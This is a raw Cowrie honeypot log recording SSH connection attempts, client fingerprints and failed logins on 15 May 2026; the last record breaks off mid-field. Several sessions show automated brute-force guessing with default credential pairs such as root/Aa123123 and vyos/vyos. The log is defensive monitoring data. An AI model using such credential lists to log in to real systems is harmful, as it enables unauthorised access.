{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":55682,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a46d2720d46","protocol":"ssh","message":"New connection: 78.40.37.143:55682 (10.17.0.5:22) [session: 4a46d2720d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:12.499530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:12.504266Z","src_ip":"78.40.37.143","session":"4a46d2720d46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:12.581269Z","src_ip":"78.40.37.143","session":"4a46d2720d46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d41d8cd98f00b204e9800998ecf8427e","message":"login attempt [root/d41d8cd98f00b204e9800998ecf8427e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:12.919495Z","src_ip":"78.40.37.143","session":"4a46d2720d46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:14.005617Z","src_ip":"78.40.37.143","session":"4a46d2720d46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":49202,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8fc83347c9d","protocol":"ssh","message":"New connection: 103.75.199.4:49202 (159.203.135.109:22) [session: e8fc83347c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:26.694526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:26.699225Z","src_ip":"103.75.199.4","session":"e8fc83347c9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:26.792031Z","src_ip":"103.75.199.4","session":"e8fc83347c9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:27.072763Z","src_ip":"103.75.199.4","session":"e8fc83347c9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:28.167504Z","src_ip":"103.75.199.4","session":"e8fc83347c9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":56076,"dst_ip":"159.203.135.109","dst_port":22,"session":"295b6f78526e","protocol":"ssh","message":"New connection: 103.75.199.4:56076 (159.203.135.109:22) [session: 295b6f78526e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:48.454907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:48.458762Z","src_ip":"103.75.199.4","session":"295b6f78526e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:48.550462Z","src_ip":"103.75.199.4","session":"295b6f78526e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:48.830002Z","src_ip":"103.75.199.4","session":"295b6f78526e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:49.924325Z","src_ip":"103.75.199.4","session":"295b6f78526e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":35500,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d7e319582dc","protocol":"ssh","message":"New connection: 103.75.199.4:35500 (159.203.135.109:22) [session: 4d7e319582dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:10.413957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:10.419000Z","src_ip":"103.75.199.4","session":"4d7e319582dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:10.510770Z","src_ip":"103.75.199.4","session":"4d7e319582dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:10.790497Z","src_ip":"103.75.199.4","session":"4d7e319582dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:11.885191Z","src_ip":"103.75.199.4","session":"4d7e319582dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":53416,"dst_ip":"10.17.0.5","dst_port":22,"session":"b81ddab2e970","protocol":"ssh","message":"New connection: 94.154.34.232:53416 (10.17.0.5:22) [session: b81ddab2e970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:12.030122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:12.035720Z","src_ip":"94.154.34.232","session":"b81ddab2e970","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:12.164558Z","src_ip":"94.154.34.232","session":"b81ddab2e970","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cb123456@","message":"login attempt [root/Cb123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:12.681161Z","src_ip":"94.154.34.232","session":"b81ddab2e970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:13.806828Z","src_ip":"94.154.34.232","session":"b81ddab2e970","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":49692,"dst_ip":"10.17.0.5","dst_port":22,"session":"015f1702699f","protocol":"ssh","message":"New connection: 78.40.37.143:49692 (10.17.0.5:22) [session: 015f1702699f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:17.111971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:17.117559Z","src_ip":"78.40.37.143","session":"015f1702699f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:17.205809Z","src_ip":"78.40.37.143","session":"015f1702699f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brengoziscute","password":"0day.today","message":"login attempt [brengoziscute/0day.today] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:17.572961Z","src_ip":"78.40.37.143","session":"015f1702699f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:18.661919Z","src_ip":"78.40.37.143","session":"015f1702699f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":55700,"dst_ip":"159.203.135.109","dst_port":22,"session":"28cd9b4bc0b2","protocol":"ssh","message":"New connection: 103.75.199.4:55700 (159.203.135.109:22) [session: 28cd9b4bc0b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:32.282005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:32.286234Z","src_ip":"103.75.199.4","session":"28cd9b4bc0b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:32.377045Z","src_ip":"103.75.199.4","session":"28cd9b4bc0b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:32.653209Z","src_ip":"103.75.199.4","session":"28cd9b4bc0b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:33.748093Z","src_ip":"103.75.199.4","session":"28cd9b4bc0b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":33188,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f8cbea56647","protocol":"ssh","message":"New connection: 103.75.199.4:33188 (159.203.135.109:22) [session: 7f8cbea56647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:54.269373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:54.273566Z","src_ip":"103.75.199.4","session":"7f8cbea56647","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:54.369046Z","src_ip":"103.75.199.4","session":"7f8cbea56647","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:54.655074Z","src_ip":"103.75.199.4","session":"7f8cbea56647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:50:55.753908Z","src_ip":"103.75.199.4","session":"7f8cbea56647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00258779525757,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:03.507545Z","src_ip":"82.205.35.130","session":"bc22b57d2c3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":52220,"dst_ip":"10.17.0.5","dst_port":22,"session":"883fcb08477d","protocol":"ssh","message":"New connection: 80.94.92.182:52220 (10.17.0.5:22) [session: 883fcb08477d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:12.586487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:12.935405Z","src_ip":"80.94.92.182","session":"883fcb08477d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512